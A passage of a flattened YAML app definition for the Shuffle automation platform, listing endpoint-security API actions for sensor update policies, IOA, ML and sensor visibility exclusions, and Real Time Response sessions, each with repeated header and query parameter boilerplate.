configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_set_of_sensor_update_policies - label: Sensor Update Policies - Delete a set of Sensor Update Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Sensor Update Policies to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_sensor_update_policies - label: Sensor Update Policies - Create Sensor Update Policies by specifying details about the policy to create - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_sensor_update_policies - label: Sensor Update Policies - Update Sensor Update Policies by specifying the ID of the policy and details - to update - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_set_of_ioa_exclusions - label: IOA Exclusions - Get a set of IOA Exclusions by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the exclusions to retrieve - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_the_ioa_exclusions_by_id - label: IOA Exclusions - Delete the IOA exclusions by id - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the exclusions to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Explains why this exclusions was deleted - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_the_ioa_exclusions - label: IOA Exclusions - Create the IOA exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_the_ioa_exclusions - label: IOA Exclusions - Update the IOA exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_ioa_exclusions - label: IOA Exclusions - Search for IOA exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-500] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The sort expression that should be used to sort the results. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_ml_exclusions - label: ML Exclusions - Search for ML exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-500] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The sort expression that should be used to sort the results. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_set_of_ml_exclusions - label: ML Exclusions - Get a set of ML Exclusions by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the exclusions to retrieve - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_the_ml_exclusions_by_id - label: ML Exclusions - Delete the ML exclusions by id - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the exclusions to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Explains why this exclusions was deleted - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_the_ml_exclusions - label: ML Exclusions - Create the ML exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_the_ml_exclusions - label: ML Exclusions - Update the ML exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_set_of_sensor_visibility_exclusions - label: Sensor Visibility Exclusions - Get a set of Sensor Visibility Exclusions by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the exclusions to retrieve - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_the_sensor_visibility_exclusions_by_id - label: Sensor Visibility Exclusions - Delete the sensor visibility exclusions by id - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of the exclusions to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Explains why this exclusions was deleted - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_the_sensor_visibility_exclusions - label: Sensor Visibility Exclusions - Create the sensor visibility exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_the_sensor_visibility_exclusions - label: Sensor Visibility Exclusions - Update the sensor visibility exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_sensor_visibility_exclusions - label: Sensor Visibility Exclusions - Search for sensor visibility exclusions - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-500] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The sort expression that should be used to sort the results. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_status_of_an_executed_active_responder_command_on_a_single_host - label: Real Time Response - Get status of an executed active_responder command on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Cloud Request ID of the executed command to query - name: cloud_request_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Sequence ID that we want to retrieve. Command responses are chunked - across sequences - name: sequence_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: execute_an_active_responder_command_on_a_single_host - label: Real Time Response - Execute an active responder command on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: batch_refresh_a_rtr_session_on_multiple_hosts_rtr_sessions_will_expire_after_10_minutes_unless_refreshed - label: Real Time Response - Batch refresh a RTR session on multiple hosts RTR sessions will expire after - 10 minutes unless refreshed - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_queued_session_metadata_by_session_id - label: Real Time Response - Get queued session metadata by session ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: refresh_a_session_timeout_on_a_single_host - label: Real Time Response - Refresh a session timeout on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: batch_initialize_a_rtr_session_on_multiple_hosts__before_any_rtr_commands_can_be_used_an_active_session_is_needed_on_the_host - label: Real Time Response - Batch initialize a RTR session on multiple hosts Before any RTR commands - can be used an active session is needed on the host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_rtr_extracted_file_contents_for_specified_session_and_sha256 - label: Real Time Response - Get RTR extracted file contents for specified session and sha256 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: RTR Session id - name: session_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Extracted SHA256 (e.g. 'efa256a96af3b556cd3fc9d8b1cf587d72807d7805ced441e8149fc279db422b') - name: sha256 - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Filename to use for the archive name and the file within the archive. - name: filename - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_aggregates_on_session_data - label: Real Time Response - Get aggregates on session data - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_session - label: Real Time Response - Delete a session - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: RTR Session id - name: session_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: initialize_a_new_session_with_the_rtr_cloud - label: Real Time Response - Initialize a new session with the RTR cloud - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_queued_session_command - label: Real Time Response - Delete a queued session command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: RTR Session id - name: session_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Cloud Request ID of the executed command to query - name: cloud_request_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_list_of_session_ids - label: Real Time Response - Get a list of session_ids - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of ids to return. - name: limit - example: "" - multiline: false - options: 